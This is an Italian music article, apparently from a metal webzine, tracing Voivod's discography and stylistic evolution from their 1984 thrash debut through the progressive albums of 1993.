VOIVOD – Parte prima: esordio, maturazione e sperimentazioni

VOIVOD – Parte prima: esordio, maturazione e sperimentazioni

VOIVOD – Parte prima: esordio, maturazione e sperimentazioni

Premessa:
I Voivod sono una delle più celebri realtà della scena metal canadese, la quale è rimasta ai margini della notorietà a differenza del ben più blasonato metal statunitense: ciò non ha però impedito il fatto che in Canada nascessero band di grande valore ed importanza. I Voivod, nel caso specifico diedero un grande contributo al Thrash ed al Progressive Metal. Da un Thrash semplice e grezzo degli esordi, i Nostri andarono a sperimentare via via sempre di più con un sound dalle atmosfere futuristiche/fantascientifiche le quali vengono abbinate a sperimentazioni spiazzanti; allontanandosi così dal archètipo e dalla loro idea del loro sound iniziale per spostarsi successivamente su sonorità più vicine al Progressive ed in taluni casi anche avanguardistiche. Per la loro unicità e varietà riesce difficile collocare ed identificare i Voivod in un solo genere musicale, dato che nel corso della loro carriera hanno sperimentato continuamente.

Genere:
Thrash Metal
Progressive Metal
Metal Sperimentale

Anno di formazione:
1981 – ancora in attività

 

I Voivod nascono nell’81 nel Québec, regione francofona del Canada.
Nei primi anni di vita, la band sforna alcune demo delle quali vale la pena citare To the Death poichè i Nostri nel 2011 decisero di ristamparla con il nome di To the Death 84. La ristampa ripropone diverse tracce del loro esordio, oltre ad alcune cover o versioni abbozzate/alternative di canzoni che troveranno vita successivamente.
Nell’84 la band sforna il suo esordio ufficiale rilasciando l’album War and Pain il quale si basa su un Thrash/Speed Metal dai tratti smaccatamente grezzi e primitivi, con un riffing lacerante, assoli fulminei, vocals abrasive ed una sezione ritmica forsennata che comunque non si nega ad alcuni cambiamenti ritmici all’interno delle singole tracce. Ciò che la band inizialmente ci propone è un puro concentrato di Thrash Metal primordiale all’ennesima potenza; nel quale non manca il “tiro”, la potenza e l’energia, facendo sì che la band si facesse apprezzare dagli amanti di tale genere.
War and Pain, è un disco che nel corso del tempo sarà ricordato dai fan e da molte band; soprattutto grazie alla pubblicazione di lavori ad esso correlati come il Live Warriors of Ice del 2011 che ne tengono vivo il ricordo.

Dopo il buon esordio, generalmente apprezzato dalla critica e dai fan del Thrash puro, arriva nell’86 il secondo disco: Rrröööaaarrr. Il nuovo album non avrà la stessa fortuna del debutto ed anzi verrà, dopo un anno, messo in ombra dal quella pietra miliare che porta il nome di Killing Technology. Musicalmente il disco segue il solco tracciato dal primo album: ritmiche furiose, chitarre distorte ed un cantato molto aggressivo. Rrröööaaarrr è un album feroce e con pochi fronzoli e sarà l’ultimo capitolo della fase Thrash della band.

Il terzo album, Killing Technology, uscito nel 1987 vede una notevole crescita e maturazione artistico/musicale, nella quale il Thrash velenoso degli esordi viene unito in maniera incredibile ed inedita ad una certa dose di sperimentazione. Un coraggio non comune all’epoca, che seppur diede gloria e fama alla band canadese con una sua nicchia di fan, non la premiò dal punto di vista commerciale. I soliti riff Thash vengono arricchiti ed inaciditi da melodie che rimandano fortemente alla psichedelia, con quest’ultima notevolmente inasprita dalle dissonanze di “Barettiana” memoria le quali rendono il tutto ancor più alienante. Con un disco del genere la band canadese sforna il suo primo vero disco di un certo livello che, ancora oggi è fortemente consigliato agli amanti non solo del Thrash, ma anche delle sue varianti più sperimentali e progressive/progressiste: Killing Technology rimane una delle principali pietre miliari.
Da questo capitolo comincia l’epopea “Cyber Thrash” del mitico combo canadese, un genere caratterizzato da un mix unico e letale di elementi Punk, Thrash, Prog e Psych; tutti elementi che costituiscono le fondamenta della sua leggenda.

Un solo anno separò il terzo (capo)lavoro dal suo successore che decretò una ulteriore maturità del sound proposto dalla band. L’88 fu un’ottima annata per il Thrash Metal come i suoi amanti ben sanno: erano usciti album del calibro di South of Heaven, And Justice For All e So Far, So Good… So What, ed  i Voivod contribuirono con l’ottimo Dimension Hatröss.
Si torna alla carica con un Thrash carico di atmosfere psichedeliche già affrontato nel precedente capitolo discografico e
si viaggia quasi sempre su ritmiche veloci e frenetiche. La voce di Denis Bélanger si fa più mite, abbandonando così i vocalizzi più estremi; il guitarwork del compianto Piggy esplora sempre più a fondo le dissonanze: in taluni tratti possono emergere influenze delle correnti musicali post punk e della musica cosmica le quali arricchiscono il sound del disco. Queste sonorità pertanto donano a Dimension Hatröss una carica innovativa e sperimentale piuttosto avanguardistica rispetto al metal dell’epoca. Mantenendo lo sguardo sul “metal d’avanguardia” i Celtic Frost rilasciarono nel’87 Into the Pandemonium il quale non fu mai troppo lodato e celebrato.
Dimension Hatröss è un altro colpo perfettamente centrato dal combo canadese che oggigiorno mantiene intatto il suo carisma.

Passa un altro anno giungendo così nel 1989 e si arriva all’apice stilistico di tutta la carriera del gruppo: la definitiva consacrazione del loro lavoro a livello artistico con Nothingface, album che con buona ragione da parte di molti è considerato il capolavoro dei Voivod.  In Nothingface è presente anche la cover di Astronomy Domine dei Pink Floyd la quale viene riproposta in maniera molto personale e perfettamente coerente con il sound e l’evoluzione della mitica band canadese; dal 2005 dopo la scomparsa dello storico chitarrista Piggy, la band la suona puntualmente live in suo onore.
Nothingface è un album che, per via del suo sound molto più complesso e meno irruento del passato può essere considerato un disco Prog a tutti gli effetti! In quegli anni il Prog Metal stava germogliando grazie anche a dischi come When Dream and Day Unite, No Exit, Operation: Mindcrime e Trascendence.

Siamo al ’91, passano due anni e il panorama della musica (come detto altre volte su queste righe) cambia completamente volto nei confronti del metal. Le sonorità si fanno più moderne e semplificate, c’era chi “osava” indurire il sound o rimanere ancorato al sound del decennio appena finito o chi tentava di percorrere una strada ancor più complessa e sperimentale veniva spesso relegato nell’underground. In questo scenario di transizione i Voivod imboccano la strada battuta dai Metallica e che sarà intrapresa anche da altre band quali Megadeth e Annihilator. Con Angel Rat risulta essere un disco Heavy Metal psichedelico con una forte vena Hard Rock ed una marcata influenza New Wave in diversi passaggi del disco. Nonostante ciò la band non ebbe la fortuna sperata (come successo ad altre band che sdoganarono l’Heavy Metal o che debuttarono in maniera dirompente nel mainstream mondiale) ma comunque ci diedero l’ennesimo disco interessante che merita di essere non solo riscoperto, ma riascoltato e apprezzato. Angel Rat può essere un perfetto primo ascolto per chi non conosce la band ma non vuole andare subito sulle composizioni più criptiche e complesse.

La band nel ’93 ritorna sul mercato con The Outer Limits un disco che rappresenta il successivo step evolutivo di Nothingface ma che prende anche ispirazione dalla melodia e dalla semplicità del precedente Angel Rat. Il sound di The Outer Limits all’apparenza può sembrare semplificato ma ha delle sfumature che si svelano piano piano con i vari ascolti: da un Heavy Metal psichedelico si passa ad un disco a metà tra il Prog Rock ed il Prog Metal amalgamato ad atmosfere sci fi e dal riffing dissonante di Piggy che delineano delle ottime scelte melodiche svelando qualche influenza da parte degli storici Rush. Diverse sono le influenze psichedeliche che accompagnano i Nostri da un buon numero di dischi, le quali vengono messe in risalto anche inThe Outer Limits con la suite Jack Luminous con i suoi diciassette minuti di durata. The Outer Limits è uno di quei dischi assolutamente imperdibili e che, anche solo per cultura personale sarebbe il caso di conoscere ed ascoltare.
Con il fenomenale The Outer Limits del 1993 si chiude il cerchio del periodo d’oro della band iniziato nell’87. In questa prima fase abbiamo visto come il gruppo abbia saputo non solo evolversi, ma rinnovarsi profondamente: seppur con degli alti e bassi i Voivod riusciranno a far questo pure nella seconda metà degli anni ’90, seppur in maniera meno coraggiosa e spinta pure negli anni 2000.

 

 

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Sebastiano Dall'Armellina

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